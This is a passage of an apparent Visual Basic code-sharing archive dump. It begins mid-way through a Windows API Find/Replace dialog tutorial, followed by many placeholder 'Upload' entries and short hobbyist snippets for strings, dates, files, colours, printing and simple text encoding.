vbExclamation, \"Find\" \n Else \n .SelStart = sp \n .SelLength = IIf(MatchWord, Len(\" \" + Trim$(FindString) + \" \"), Len(FindString)) \n End If \n Else 'WE'RE DOING A BACKWARD SEARCH \n MsgBox \"I DIDNT CODE A BACKWARDS SEARCH ;-)\", vbInformation, \"Find\" \n End If \n End With \n End Sub \n \n Private Sub EventReplaceAllButton(FindString As String, ReplaceString As String, _ \n MatchWord As Boolean, MatchCase As Boolean, SearchUp As Boolean, SearchDn As Boolean) \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"REPLACE ALL\" button is pressed \n ' gFindObj is the object we need to do stuff to... \n '========================================================= \n \n MsgBox \"I didn't code a REPLACE ALL Function, but this shows the event firing ;-)\" + vbCrLf + _ \n \"Here are the variables passed into the subroutine... Happy Coding!\" + vbCrLf + _ \n \"MatchWord=\" + CStr(MatchWord) + vbCrLf + _ \n \"MatchCase=\" + CStr(MatchCase) + vbCrLf + _ \n \"SearchUp=\" + CStr(SearchUp) + vbCrLf + _ \n \"SearchDn=\" + CStr(SearchDn) + vbCrLf + _ \n \"FindString=\" + FindString + vbCrLf + _ \n \"ReplaceString=\" + ReplaceString \n End Sub \n \n Private Sub EventReplaceButton(FindString As String, ReplaceString As String, _ \n MatchWord As Boolean, MatchCase As Boolean, SearchUp As Boolean, SearchDn As Boolean) \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"REPLACE\" button is pressed \n ' gFindObj is the object we need to do stuff to... \n '========================================================= \n \n With gFindObj \n 'WE'RE DOING A FORWARD SEARCH ALWAYS! \n SetFocus .hwnd \n 'Replace the highlighted text, if any \n If Not .SelLength = 0 Then \n .SelText = ReplaceString \n .SelLength = 0 \n End If \n 'Find the next occurrence \n sp = InStr(IIf(.SelStart = 0, 1, .SelStart) + .SelLength, .Text, _ \n IIf(MatchWord, \" \" + Trim$(FindString) + \" \", FindString), _ \n IIf(MatchCase, vbBinaryCompare, vbTextCompare)) \n sp = IIf(sp = 0, -1, sp - 1) \n If sp = -1 Then \n MsgBox \"At end of text.\", vbInformation, \"Find\" \n Else \n .SelStart = sp \n .SelLength = IIf(MatchWord, Len(\" \" + Trim$(FindString) + \" \"), Len(FindString)) \n End If \n .SetFocus \n End With \n End Sub \n \n Public Sub ShowFindDialog(DialogType As FR_DIALOG_TYPE, ParentObject As Object, _ \n TargetObject As Object, Optional DefaultFindText, Optional DefaultReplaceText, _ \n Optional DialogBoxFlags) \n '============================================================================ \n ' This subroutine is a wrapper to call the FIND and FIND/REPLACE DialogBoxes \n ' \n ' Arguments are: \n ' \n ' DialogType : 0=Show FindDialogBox, 1=Show ReplaceDialogBox \n ' \n ' ParentObject : Form that will be the parent of the DialogBox \n ' \n ' TargetObject : Textbox object to search/replace text \n ' \n ' DefaultFindText : OPTIONAL Initializes the \"Find Text\" TextBox \n ' \n ' DefaultReplaceText : OPTIONAL Initialized the \"Replace Text\" Textbox \n ' \n ' DialogBoxFlags : OPTIONAL Turns off items in the DialogBox \n ' Values can be: \n ' FR_NOMATCHCASE Or FR_NOUPDOWN Or FR_NOWHOLEWORD \n '============================================================================ \n \n Dim szFindString As String 'initial string to find \n Dim szReplaceString As String 'initial string to find \n Dim strFindArr() As Byte 'for API use \n Dim strReplaceArr() As Byte 'for API use \n Dim iVal As Long 'position indicator in the loop \n \n \n 'Get the default strings to plug into the dialogbox, if present \n szFindString = IIf(IsMissing(DefaultFindText) = True, \"\", CStr(DefaultFindText)) + Chr$(0) \n ReDim strFindArr(0 To Len(szFindString) - 1) \n For iVal = 1 To Len(szFindString) \n strFindArr(iVal - 1) = Asc(Mid(szFindString, iVal, 1)) \n Next iVal \n szReplaceString = IIf(IsMissing(DefaultReplaceText) = True, \"\", CStr(DefaultReplaceText)) + Chr$(0) \n ReDim strReplaceArr(0 To Len(szReplaceString) - 1) \n For iVal = 1 To Len(szReplaceString) \n strReplaceArr(iVal - 1) = Asc(Mid(szReplaceString, iVal, 1)) \n Next iVal \n \n 'Fill in the frText data... \n With frText \n .flags = IIf(IsMissing(DialogBoxFlags) = True, 0, DialogBoxFlags) \n .lpfnHook = 0& \n .lpTemplateName = 0& \n .lStructSize = Len(frText) \n .hwndOwner = ParentObject.hwnd \n .hInstance = App.hInstance \n .lpstrFindWhat = VarPtr(strFindArr(0)) \n .wFindWhatLen = Len(szFindString) \n .lpstrReplaceWith = VarPtr(strReplaceArr(0)) \n .wReplaceWithLen = Len(szReplaceString) \n .lCustData = 0 \n End With \n \n 'Set the object we're going to be doing the find/replace with \n Set gFindObj = TargetObject \n \n 'Show the dialog box. \n If DialogType = FindDialogBox Then \n gHDlg = FindText(frText) \n gIsDlgReplaceBox = False \n Else \n gHDlg = ReplaceText(frText) \n gIsDlgReplaceBox = True \n End If \n \n 'Set the \"Search Down\" radio button. \n CheckDlgButton gHDlg, GD_SEARCHUP, BST_UNCHECKED \n CheckDlgButton gHDlg, GD_SEARCHDN, BST_CHECKED \n \n 'Get the handles of the dialog box \n ghFindCmdBtn = GetDlgItem(gHDlg, 1) 'FIND BUTTON \n ghCancelCmdBtn = GetDlgItem(gHDlg, 2) 'CANCEL BUTTON \n ghReplaceCmdBtn = GetDlgItem(gHDlg, 1024) 'REPLACE BUTTON \n ghReplaceAllCmdBtn = GetDlgItem(gHDlg, 1025) 'REPLACE ALL BUTTON \n \n 'Hook all of the necessary default window procedures for the dialog box. \n If Not ghFindCmdBtn = 0 Then \n gOldFindDlgWndHandle = GetWindowLong(ghFindCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghFindCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldFindDlgWndHandle = 0 \n End If \n \n If Not ghCancelCmdBtn = 0 Then \n gOldCancelDlgWndHandle = GetWindowLong(ghCancelCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghCancelCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldCancelDlgWndHandle = 0 \n End If \n \n If Not ghReplaceCmdBtn = 0 Then \n gOldReplaceDlgWndHandle = GetWindowLong(ghReplaceCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghReplaceCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldReplaceDlgWndHandle = 0 \n End If \n \n If Not ghReplaceAllCmdBtn = 0 Then \n gOldReplaceAllDlgWndHandle = GetWindowLong(ghReplaceAllCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghReplaceAllCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldReplaceAllDlgWndHandle = 0 \n End If \n End Sub \n'------------------------------------------------------------------------------- \n\n6) Run the program and type some text into the textbox. then put the cursor in the textbox at the top of the textbox. \n\n7) Click \"Command1\" and the Find Dialog box will show. Try the box out!! \n8) Put the cursor in the textbox back at the beginning of the textbox and click \"Command2\". The Find/Replace dialog box will show... Try it out! \nI have included setting the search textbox and the replace textbox in this code, so if you wanted to populate it before showing the dialogbox, call ShowFindDialog like this: \n\n ShowFindDialog FindDialogBox, Me, Text1, \"Find This\" \n ShowFindDialog ReplaceDialogBox, Me, Text1, \"Find This\", \"Replace with this\" \nYou can also add another optional argument to disable parts of the dialogbox... ;-) \n"},{"WorldId":1,"id":10252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9383,"LineNumber":1,"line":"' User inputs a string of 2 characters, uppercase or lowercase.\n'Function returns the combined integer value of the string (ex. A = 1, B=2...\n'AA = 27, AB = 28...ect.)\nFunction GetNumber(UserInput As String) As Integer\nDim UpperCaseArray(1, 26) As String\nDim LowerCaseArray(1, 26) As String\nDim UpperCaseString As String\nDim LowerCaseString As String\nDim FirstNum As Integer\nDim SecondNum As Integer\nUpperCaseString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nLowerCaseString = \"abcdefghijklmnopqrstuvwxyz\"\n'Assign string characters to array cells\nFor x = 1 To Len(UpperCaseString)\n UpperCaseArray(1, x) = Mid(UpperCaseString, x, 1)\n LowerCaseArray(1, x) = Mid(LowerCaseString, x, 1)\nNext x\nIf Len(UserInput) = 1 Then ' check for single character input\n For y = 1 To Len(UpperCaseString)\n 'If the input from the user is A-Z or a-z the Function returns 1-26\n If Mid(UserInput, 1, 1) = UpperCaseArray(1, y) Then\n GetNumber = y\n End If\n If Mid(UserInput, 1, 1) = LowerCaseArray(1, y) Then\n GetNumber = y\n End If\n Next y\nElse\n 'If User Input has two characters...\n 'Check first character...store numerical value in FirstNum\n \n For z = 1 To Len(UpperCaseString)\n If Mid(UserInput, 1, 1) = UpperCaseArray(1, z) Then\n FirstNum = z\n End If\n If Mid(UserInput, 1, 1) = LowerCaseArray(1, z) Then\n FirstNum = z\n End If\n Next z\n \n 'Check second character\n 'Store numerical value in SecondNum\n For w = 1 To Len(UpperCaseString)\n If Mid(UserInput, 2, 1) = UpperCaseArray(1, w) Then\n SecondNum = w\n End If\n If Mid(UserInput, 2, 1) = LowerCaseArray(1, w) Then\n SecondNum = w\n End If\n Next w\n \n 'Algorithm for adding the values for the first character to that\n 'of the second character to determine which set of 26 the user\n 'selected.\n 'i.e. if user enters \"AA\" then this loop determines that the first\n 'character is equal to one. the loop returns 26 + 1, or 27. So, the\n 'value of user input of \"AA\" is 27. And so on and so forth...\n 'If the value entered is \"BA\", the algorithm returns 52 + 1, or 53\n 'This loop will return the values for up to \"IZ\"\n 'To extend to ZZ, merely change number of iterations in this loop to 26\n For V = 1 To 9\n If FirstNum = V Then\n GetNumber = ((26 * V) + SecondNum)\n End If\n Next V\nEnd If\nEnd Function\n"},{"WorldId":1,"id":9861,"LineNumber":1,"line":"Many people believe VB to be a major pain as like other programming languages because they are too tech. So are most things if you think about it for long enough and you're new to it. Anyway, here is a simple way to print in visual basic and also introduce you to a neat printing method. I take no credit for this because it is an article I found elsewhere.\n\nCreate a new standard.exe\n\ncreate two labels\n\ndo what you want with the labels. The name and the captions don't matter.\n\nNow, create a button and change its caption to: &Print and its name to cmdPrint.\n\nIn the button's code window, type the following code:\n\nPrinter.Print label1.caption; spc(30); label2.caption\n\nThe above code must all be on 1 line.\n\nGood. You've mastered a simple printing method.\n\nYou can, of course, manipulate the printing methods above to print documents in a snazzy manner. \n\nBefore End Sub, type the following code:\n\nPrinter.Enddoc\n\nThis ensures the print job ends as you finish printing. Nice one!"},{"WorldId":1,"id":9409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9393,"LineNumber":1,"line":"Put this in a CommandButton\n'\nDim aH(8)\naH(1) = \"1/1\"\naH(2) = \"5/2\"\naH(3) = \"21/3\"\naH(4) = \"1/5\"\naH(5) = \"5/5\"\naH(6) = \"16/9\"\naH(7) = \"20/10\"\naH(8) = \"25/12\"\n\ndebug.print = WorkingDays(\"01/01/00\", \"01/01/01\", aH())\n'\n\nPublic Function WorkingDays(dBeginDate As Date, dEndDate As Date, ByRef aHolidays As Variant) As Integer\n Dim intTotalDays As Integer\n Dim intHoliday As Integer\n Dim booWeekend As Boolean\n Dim intSatSun As Integer\n Dim strCDayMonth As String\n Dim strNDayMonth As String\n \n Dim i As Integer\n Dim dNewDate As Date\n If dBeginDate>=dEndDate then exit Function\n intTotalDays = DateDiff(\"d\", dBeginDate, dEndDate)\n For i = 1 To intTotalDays\n dNewDate = DateAdd(\"d\", i, dBeginDate)\n If isWeekEnd(dNewDate) Then\n booWeekend = True\n Else\n booWeekend = False\n End If\n \n strNDayMonth = Day(dNewDate) & \"/\" & Month(dNewDate)\n For n = 1 To UBound(aHolidays)\n' strMonth = Mid(aHolidays(h), istr(\"/\", aHolidays(h)) + 1)\n If (strNDayMonth = aHolidays(n)) And Not booWeekend Then\n intHoliday = intHoliday + 1\n booWeekend = False\n Exit For\n End If\n Next n\n \n If booWeekend Then\n intSatSun = intSatSun + 1\n End If\n \n Next i\n \n WorkingDays = intTotalDays - intSatSun - intHoliday\nEnd Function\nPrivate Function isWeekEnd(ByRef dCheck As Date) As Boolean\n If DatePart(\"w\", dCheck) = 1 Or DatePart(\"w\", dCheck) = 7 Then isWeekEnd = True\nEnd Function\n"},{"WorldId":1,"id":9396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9425,"LineNumber":1,"line":"Function trim_data(data As String, from_left As Integer, from_right As Integer) As String\n 'If you try to trim to much, returns an empty string\n If Len(data) <= from_left + from_right Then\n trim_data = \"\"\n 'If not, trim text from sides and return\n Else\n trim_data = Mid(data, from_left + 1, Len(data) - from_left - from_right)\n End If\nEnd Function"},{"WorldId":1,"id":9430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9641,"LineNumber":1,"line":"Const Strin1 = \"`-=~!@#$%^&*()_+[]\\{}|;':\" & \"\"\"\" & _\n \",./<>?abcdefghijklmnopqrstuvwxyzABCDEFG\" & _\n \"HIJKLMNOPQRSTUVWXYZ0123456789\"\nConst Strin2 = \"GFEDCBAzyxwvutsrqponmlkjihgfed\" & _\n \"cba?></.,\" & \"\"\"\" & \":';|}{\\][+_)(*&^%$#@\" & _\n \"!~=-`9876543210ZYXWVUTSRQPONMLKJIH\"\nFunction Convert(Character)\n Qt = Chr(34)\n Chr1 = InStr(1, Strin1, Character)\n Chr2 = Mid(Strin2, Chr1, 1)\n Convert = Chr2\nEnd Function\nFunction CharacterToNum(Character)\n CharacterToNum = InStr(1, Strin1, Character)\nEnd Function\nFunction NumToCharacter(TheNumber)\n NumToCharacter = Mid(Strin1, TheNumber, 1)\nEnd Function\nFunction zEncryptPassword(Password)\n For i = 0 To Len(Password) - 1\n TheCur = Mid(Password, i + 1, 1)\n Asdf = CharacterToNum(TheCur)\n Asdf = Asdf - i\n Asdf2 = NumToCharacter(Asdf)\n Asdf3 = Convert(Asdf2)\n SomeString = SomeString + Asdf3\n Next i\n zEncryptPassword = \"0\" & SomeString & \"1\"\nEnd Function\nFunction zEncryptUsername(Username)\n zEncryptUsername = \"2.2.2:\" & Username & \"@netzero.net\"\nEnd Function"},{"WorldId":1,"id":9560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9633,"LineNumber":1,"line":"Sub Pause(Duration As Double)\n'example: Pause (0.8) 'pause for .8 seconds\nDim start As Double 'declare variable\n start# = GetTickCount 'store milliseconds since boot\n Do: DoEvents 'start loop\nOn Error Resume Next 'dunno, kept giving me an error once. so i put this here and it stopped giving me the error\n Loop Until GetTickCount - start# >= (Duration# * 1000) 'loop until the actual time (minus stored time) is greater than or equal to the duration (seconds * 1000 = milliseconds)\nEnd Sub"},{"WorldId":1,"id":10352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9655,"LineNumber":1,"line":"Private Sub CommandButton1_Click()\n Call DirMap(\"C:\\Windows\\\")\n 'Must have \"\\\" at the end of the path\nEnd Sub\nSub DirMap(ByVal Path As String)\nOn Error Resume Next\n Dim i, j, x As Integer 'All used as counters\n Dim Fname(), CurrentFolder, Temp As String\n Temp = Path\n If Dir(Temp, vbDirectory) = \"\" Then Exit Sub 'if there arent any sub directories the exit\n CurrentFolder = Dir(Temp, vbDirectory)\n 'First get number of folders (Stored in i)\n Do While CurrentFolder <> \"\"\n If GetAttr(Temp & CurrentFolder) = vbDirectory Then\n If CurrentFolder <> \".\" And CurrentFolder <> \"..\" Then\n i = i + 1\n End If\n End If\n CurrentFolder = Dir\n Loop\n ReDim Fname(i) 'Redim the array with number of folders\n 'now store the folder names\n CurrentFolder = Dir(Temp, vbDirectory)\n Do While CurrentFolder <> \"\"\n If GetAttr(Temp & CurrentFolder) = vbDirectory Then\n If CurrentFolder <> \".\" And CurrentFolder <> \"..\" Then\n j = j + 1\n Fname(j) = CurrentFolder\n Debug.Print Temp & Fname(j)\n End If\n End If\n CurrentFolder = Dir\n Loop\n ' For each folder check to see there are sub folders\n For x = 1 To i\n Call DirMap(Temp & Fname(x) & \"\\\")\n Next\nEnd Sub"},{"WorldId":1,"id":9678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9679,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'~~~ SUBJECT: HTML Help Launcher\n'~~~ AUTHOR: Neil Ault (Neil.Ault@btinternet.com)\n'~~~ CREATED: 11/07/2000\n'~~~\n'~~~ DESCRIPTION: Allows you to launch the new compiled HTML help\n'~~~ files (.chm) within your visual basic apps. You\n'~~~ need to have the file hhctrl.ocx installed on\n'~~~ your machine which normally comes with Internet\n'~~~ Explorer.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nOption Explicit\nPrivate Declare Function HtmlHelp Lib \"hhctrl.ocx\" Alias \"HtmlHelpA\" (ByVal hwndCaller As Long, ByVal pszFile As String, ByVal uCommand As Long, ByVal dwData As Long) As Long\n'Constants used by HtmlHelp\nConst HH_DISPLAY_TOPIC = &H0\nConst HH_SET_WIN_TYPE = &H4\nConst HH_GET_WIN_TYPE = &H5\nConst HH_GET_WIN_HANDLE = &H6\nConst HH_DISPLAY_TEXT_POPUP = &HE 'Display string resource ID or text in a pop-up window.\nConst HH_HELP_CONTEXT = &HF 'Display mapped numeric value in dwData.\nConst HH_TP_HELP_CONTEXTMENU = &H10 'Text pop-up help, similar to WinHelp's HELP_CONTEXTMENU.\nConst HH_TP_HELP_WM_HELP = &H11 'Text pop-up help, similar to WinHelp 's HELP_WM_HELP.\n'Opens the compiled help file\nPrivate Sub ShowHelpFile(strFilename As String)\nDim hwndHelp As Long\n 'The return value is the window handle of the created help window.\n hwndHelp = HtmlHelp(hWnd, strFilename, HH_DISPLAY_TOPIC, 0)\nEnd Sub\n"},{"WorldId":1,"id":10133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10222,"LineNumber":1,"line":"Private Sub FadeRed(Label As Label)\nStatic FadeColor As Integer\nFadeColor = FadeColor + 1\nLabel.ForeColor = RGB (FadeColor*2.5, 0, 0)\nEnd Sub\n\nPrivate Sub FadeBlue(Label As Label)\nStatic FadeColor As Integer\nFadeColor = FadeColor + 1\nLabel.ForeColor = RGB (0, 0, FadeColor*2.5)\nEnd Sub\n\nPrivate Sub FadeGreen(Label As Label)\nStatic FadeColor As Integer\nFadeColor = FadeColor + 1\nLabel.ForeColor = RGB (0, FadeColor*2.5, 0)\nEnd Sub"},{"WorldId":1,"id":9792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10326,"LineNumber":1,"line":"Private Sub cmdDraw_Click()\nDim r As Byte\nDim g As Byte\nDim b As Byte\nDim rI As Integer\nDim gI As Integer\nDim bI As Integer\nDim i As Integer\nDim ii As Integer\nRandomize Timer\nr = Int(Rnd * 2)\ng = Int(Rnd * 4)\nb = Int(Rnd * 6)\nFor i = 1 To 400 * 15 Step 15\n For ii = 1 To 200 * 15 Step 15\n Picture1.PSet (i, ii), RGB(r, g, b)\n rI = r + 1 + Int(Rnd * 3)\n If rI > 255 Then r = rI - 255 Else r = rI\n gI = g + 2 + Int(Rnd * 4)\n If gI > 255 Then g = gI - 255 Else g = gI\n bI = b + 3 + Int(Rnd * 5)\n If bI > 255 Then b = bI - 255 Else b = bI\n Next ii\nNext i\nEnd Sub\n"},{"WorldId":1,"id":10243,"LineNumber":1,"line":"Dim strTest As String\nPrivate Sub Command1_Click()\nFileNum = FreeFile() 'Finds a freefile where it can write to\nOpen App.Path & \"\\Test.test\" For Input As FileNum 'opens the file to (input = get data)\n Input #FileNum, strTest 'Get data by putting Input then the FileNumber you opened in (we used a variable FileNum) then a comma then the variable you want to store.\nClose FileNum 'Close the FileNumber you opened...'Close' by itself will close ALL of your open files.\nText1.Text = strTest 'sets the textbox's text = to what was is the file\nEnd Sub\nPrivate Sub Command2_Click()\nFileNum = FreeFile()\nOpen App.Path & \"\\Test.test\" For Output As FileNum 'Output clears the file and gives you access to write to it with the Write command\n Write #FileNum, strTest 'Write then #FileNumber (we used a variable) then a comma then the variable you want to save\nClose FileNum 'You can save multiple variables at once if you seperate them by commas\nEnd Sub\nPrivate Sub Command3_Click()\nKill App.Path & \"\\Test.test\"\n'Deletes File \"Test.test\" at the application's path\nEnd Sub\nPrivate Sub Text1_Change()\nstrTest = Text1.Text 'puts text in the string whenever the textbox's text changes\nEnd Sub\n'End of code...\n'The easiest way to write multiple values to a file is like this:\n'Write #FileNum, strTest, strTest2, strTest3\n'...just keep adding commas and then the next vaule to save\n'Be sure to load EVERYTHING you saved and in the same order you saved it! or it wont work!!\n'A shortcut for saving arrays:\n'For Q = 1 To 5: Write #NFile, Array(Q):Next\n'...and so on...Enjoy!\n"},{"WorldId":1,"id":9871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9896,"LineNumber":1,"line":"'Put this code in a .bas module\nPublic Sub MSFlexGridColors(ColorGrid As MSFlexGrid, R As Integer, G As Integer, B As Integer)\nFor j = 0 To ColorGrid.Cols - 1\n For i = 1 To ColorGrid.Rows - 1\n If i / 2 <> Int(i / 2) Then\n ColorGrid.Col = j\n ColorGrid.Row = i\n ColorGrid.CellBackColor = RGB(R, G, B)\n End If\n Next i\nNext j\nEnd Sub\n'Then use this code to activat the SUB:\n'(general: MSFlexGridColors MSFlexGrid, Red, Green, Blue)\nMSFlexGridColors Form1.MSFlexGrid, 192, 255, 192\n'I hope this can help you for your design\n"},{"WorldId":1,"id":9992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9900,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10077,"LineNumber":1,"line":"Private Sub Form_Load()\n Timer1.Interval = 1\nEnd Sub\nPrivate Sub Timer1_Timer()\n Label1.Caption = Time\nEnd Sub"},{"WorldId":1,"id":10171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10007,"LineNumber":1,"line":"First let me explain the algorithm.\nFor encrypting:\n1) Dimension variables\n2) Clear all variables\n3) get the message\n4) Loop through the message\n5) In the loop, firstly randomize a number from 1 to 110 and hold this number in an array. Secondly increment a value by 1. Now, get the new character and add it to the encrypted message(Using chr$ in VB).\nNow after the loop has finished the message has been encrypted.\nTo Decrypt it:\n1) Get the coded message.\n2) Loop through teh coded message.\n3) increment a value by 1.\n4) by using the Chr$, mid$ and asc functions, take away the ascii relative to codded letter and add the letter to a variable (decoded message).\nIn a module set these variables:\nGlobal a% 'the value that increments in the loops\nGlobal msgnum(10000) As Long 'the array that holds the ascii numericals relative to the letters\nGlobal codedmsg As String 'the encrypted message\nIn your encryption procedure:\nDim n%\nDim x%\nDim message$\nDim emessage$\nDim word$\nDim ctext\nDim i As Integer\nErase msgnum 'erase all value in the array\na% = 0\nctext = txtmessage.Text \nword$ = \"\" \nFor i = 1 To Len(ctext) 'loop through the string\n Randomize\n x% = Int((110 * Rnd) + 1) 'randomize a number from 1 to 110.\n a% = a% + 1 'Increment this value as it is used in the array\n word$ = word$ & Chr$(Asc(Mid(c_text, i, 1)) + x%)\n'add the original letter ascii value to the randomized value and produce that character\n msgnum(a%) = x% 'hold the randomized number in the array\nNext i\ncodedmsg = word$\nIn your decryption procedure:\nDim msg$\nDim x%\nDim ctext\nDim word$\nDim decodedmsg\nDim i As Integer\n\nctext = codedmsg\nword$ = \"\"\na% = 0 \nFor i = 1 To Len(c_text) 'Loop through the coded message\n a% = a% + 1 'Increment value by 1\nword$ = word$ & Chr$(Asc(Mid(c_text, i, 1)) - msgnum(a%))\n'this time take away the the randomized value, which is held in the array from the codded character ascii value to produce the original letter\nNext i\ndecodedmsg = word$ 'Decoded msg\n"},{"WorldId":1,"id":10093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10122,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10136,"LineNumber":1,"line":"create a textbox on an empty form \nin the property window of the textbox change the OLEDropMode to \"Manual\".\n \nnow add this function to your form code:\n \n \nPrivate Sub Text1_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n \n If Data.GetFormat(vbCFFiles) Then Text1.Text = Data.Files(1)\n \n \nEnd Sub\n \nadd the following if you don't want to show the drag drop mouse pointer when the item is not a file \n \nPrivate Sub Text1_OLEDragOver(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single, State As Integer) \n If Not Data.GetFormat(vbCFFiles) Then Effect = vbDropEffectNone\n \n \nEnd Sub\n"},{"WorldId":1,"id":10176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28221,"LineNumber":1,"line":"Function FileSize(ByVal strFile As String, Optional ByVal ReturnAs As FileSizeView = fsBytes) As Double\n 'Purpose: Returns the file size of the file name passed in the format the user specifies\n Dim dblLen As Double, lngIndex As Long\n 'If file doesn't exist, abort\n If Dir(strFile) = Empty Then\n FileSize = 0\n Exit Function 'Abort\n End If\n 'Returns the file length in bytes\n dblLen = FileLen(strFile)\n 'Calculate to the file size view passed\n For lngIndex = 0 To ReturnAs\n dblLen = dblLen / 1024\n Next\n 'Return the file size\n FileSize = dblLen\nEnd 